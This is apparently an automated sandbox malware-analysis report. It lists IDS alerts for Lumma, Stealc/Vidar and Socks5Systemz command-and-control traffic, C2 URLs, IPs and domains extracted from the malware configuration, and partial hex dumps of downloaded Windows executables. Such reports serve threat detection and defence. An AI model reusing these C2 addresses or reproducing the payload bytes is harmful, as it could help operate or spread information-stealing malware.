Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49840 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49839 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49845 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49848 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49852 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49858 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49813 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49850 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49866 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49864 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49869 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49863 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49856 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49849 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49861 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49868 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49874 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49880 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49878 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49842 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49882 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49832 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49876 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49859 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49889 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49873 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49891 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49885 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49890 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49887 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49892 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49811 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49883 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49854 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49881 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49888 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49884 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2857974 - Severity 1 - ETPRO MALWARE Observed DNS Query to Lumma Domain : 192.168.2.7:57885 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49847 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49871 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49879 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49886 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.7:49740 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49752 -> 172.67.223.248:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49752 -> 172.67.223.248:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49745 -> 172.67.218.144:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49745 -> 172.67.218.144:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 91.107.146.245:443 -> 192.168.2.7:49740
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 91.107.146.245:443 -> 192.168.2.7:49741
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49742 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49742 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49754 -> 104.21.17.244:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49754 -> 104.21.17.244:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49755 -> 104.21.42.156:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49755 -> 104.21.42.156:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49757 -> 172.67.151.53:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49757 -> 172.67.151.53:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49762 -> 104.21.39.11:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49762 -> 104.21.39.11:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49759 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49759 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49766 -> 104.21.48.36:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49766 -> 104.21.48.36:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49775 -> 172.67.218.144:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49775 -> 172.67.218.144:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49777 -> 172.67.218.144:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49777 -> 172.67.218.144:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49782 -> 172.67.223.248:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49782 -> 172.67.223.248:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49787 -> 104.21.42.156:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49787 -> 104.21.42.156:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49784 -> 104.21.17.244:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49784 -> 104.21.17.244:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49788 -> 172.67.151.53:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49788 -> 172.67.151.53:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49790 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49790 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49791 -> 104.21.39.11:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49791 -> 104.21.39.11:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49792 -> 104.21.48.36:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49792 -> 104.21.48.36:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49806 -> 172.67.218.144:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49812 -> 172.67.223.248:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49806 -> 172.67.218.144:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49812 -> 172.67.223.248:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49814 -> 104.21.17.244:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49814 -> 104.21.17.244:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49825 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49825 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49828 -> 104.21.39.11:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49828 -> 104.21.39.11:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49822 -> 172.67.151.53:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49822 -> 172.67.151.53:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49831 -> 104.21.48.36:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49831 -> 104.21.48.36:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 91.107.146.245:443 -> 192.168.2.7:49833
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49809 -> 172.67.218.144:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49809 -> 172.67.218.144:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 91.107.146.245:443 -> 192.168.2.7:49836
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 91.107.146.245:443 -> 192.168.2.7:49865
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 91.107.146.245:443 -> 192.168.2.7:49867
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49817 -> 104.21.42.156:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49817 -> 104.21.42.156:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: tryyudjasudqo.shop
Source: Malware configuration extractor	URLs: reggwardssdqw.shop
Source: Malware configuration extractor	URLs: keennylrwmqlw.shop
Source: Malware configuration extractor	URLs: licenseodqwmqn.shop
Source: Malware configuration extractor	URLs: sentistivowmi.shop
Source: Malware configuration extractor	URLs: tesecuuweqo.shop
Source: Malware configuration extractor	URLs: relaxatinownio.shop
Source: Malware configuration extractor	URLs: tendencctywop.shop
Source: Malware configuration extractor	URLs: eemmbryequo.shop
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199768374681
Source: Malware configuration extractor	URLs: https://t.me/edm0d
Source: Malware configuration extractor	URLs: 193.233.255.84:4284

Source: global traffic

TCP traffic: 192.168.2.7:49738 -> 193.233.255.84:4284

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Sep 2024 12:30:07 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Wed, 18 Sep 2024 11:46:59 GMTETag: "1060a90-622635d1e522b"Accept-Ranges: bytesContent-Length: 17173136Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 68 59 e5 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 30 00 10 37 00 00 da 05 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 00 00 00 02 00 00 a9 a1 06 01 02 00 60 85 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 da 05 00 00 00 00 00 00 00 00 00 00 30 ec 05 01 60 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 10 37 00 00 00 20 00 00 00 38 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 da 05 00 00 00 60 00 00 00 06 00 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 02 00 05 00 7c 28 00 00 94 2e 00 00 01 00 00 00 1c 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 03 00 00 0a 2a 3a 02 28 03 00 00 0a 02 03 7d 01 00 00 04 2a 26 02 03 16 28 04 00 00 0a 2a 1e 02 7b 07 00 00 04 2a 32 28 26 00 00 0a 02 6f 27 00 00 0a 2a 1e 17 28 09 00 00 06 2a 1e 18 28 09 00 00 06 2a 1e 19 28 09 00 00 06 2a 1e 1a 28 09 00 00 06 2a 1e 1b 28 09 00 00 06 2a 1e 1c 28 09 00 00 06 2a 32 28 26 00 00 0a 02 6f 35 00 00 0a 2a 2e 73 39 00 00 0a 80 04 00 00 04 2a 1e 02 28 39 00 00 0a 2a 00 1b 30 05 00 22 01 00 00 01 00 00 11 7e 04 00 00 04 0a 16 0b 06 12 01 28 05 00 00 0a 7e 02 00 00 04 2d 13 1f 14 8d 04 00 00 02 80 02 00 00 04 16 0c 38 ce 00 00 00 7e 02 00 00 04 8e 69 0d 7e 03 00 00 04 09 32 06 16 80 03 00 00 04 7e 03 00 00 04 0c 2b 10 7e 02 00 00 04 08 9a 39 a4 00 00 00 08 17 58 0c 08 09 32 ec 16 0c 2b 10 7e 02 00 00 04 08 9a 39 8c 00 00 00 08 17 58 0c 08 7e 03 00 00 04 32 e8 16 0c 2b 12 7e 02 00 00 04 08 9a 6f 06 00 00 0a 2c 6e 08 17 58 0c 08 09 32 ea 7e 02 00 00 04 8e 69 0c 20 00 ff 00 00 18 08 5a 28 07 00 00 0a 0d 09 08 30 2e 28
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Sep 2024 12:30:07 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Wed, 18 Sep 2024 11:46:59 GMTETag: "1060a90-622635d1e522b"Accept-Ranges: bytesContent-Length: 17173136Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 68 59 e5 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 30 00 10 37 00 00 da 05 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 00 00 00 02 00 00 a9 a1 06 01 02 00 60 85 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 da 05 00 00 00 00 00 00 00 00 00 00 30 ec 05 01 60 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 10 37 00 00 00 20 00 00 00 38 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 da 05 00 00 00 60 00 00 00 06 00 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 02 00 05 00 7c 28 00 00 94 2e 00 00 01 00 00 00 1c 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 03 00 00 0a 2a 3a 02 28 03 00 00 0a 02 03 7d 01 00 00 04 2a 26 02 03 16 28 04 00 00 0a 2a 1e 02 7b 07 00 00 04 2a 32 28 26 00 00 0a 02 6f 27 00 00 0a 2a 1e 17 28 09 00 00 06 2a 1e 18 28 09 00 00 06 2a 1e 19 28 09 00 00 06 2a 1e 1a 28 09 00 00 06 2a 1e 1b 28 09 00 00 06 2a 1e 1c 28 09 00 00 06 2a 32 28 26 00 00 0a 02 6f 35 00 00 0a 2a 2e 73 39 00 00 0a 80 04 00 00 04 2a 1e 02 28 39 00 00 0a 2a 00 1b 30 05 00 22 01 00 00 01 00 00 11 7e 04 00 00 04 0a 16 0b 06 12 01 28 05 00 00 0a 7e 02 00 00 04 2d 13 1f 14 8d 04 00 00 02 80 02 00 00 04 16 0c 38 ce 00 00 00 7e 02 00 00 04 8e 69 0d 7e 03 00 00 04 09 32 06 16 80 03 00 00 04 7e 03 00 00 04 0c 2b 10 7e 02 00 00 04 08 9a 39 a4 00 00 00 08 17 58 0c 08 09 32 ec 16 0c 2b 10 7e 02 00 00 04 08 9a 39 8c 00 00 00 08 17 58 0c 08 7e 03 00 00 04 32 e8 16 0c 2b 12 7e 02 00 00 04 08 9a 6f 06 00 00 0a 2c 6e 08 17 58 0c 08 09 32 ea 7e 02 00 00 04 8e 69 0c 20 00 ff 00 00 18 08 5a 28 07 00 00 0a 0d 09 08 30 2e 28
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 18 Sep 2024 12:30:07 GMTContent-Type: application/octet-streamContent-Length: 4249600Last-Modified: Sun, 15 Sep 2024 16:05:36 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66e705d0-40d800"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 5f 55 fb d1 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 9c 3e 00 00 38 02 00 00 00 00 00 ae ba 3e 00 00 20 00 00 00 c0 3e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 41 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 60 ba 3e 00 4b 00 00 00 00 e0 3e 00 84 2e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 41 00 0c 00 00 00 10 ba 3e 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 9a 3e 00 00 20 00 00 00 9c 3e 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 84 04 00 00 00 c0 3e 00 00 06 00 00 00 a0 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 84 2e 02 00 00 e0 3e 00 00 30 02 00 00 a6 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 41 00 00 02 00 00 00 d6 40 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 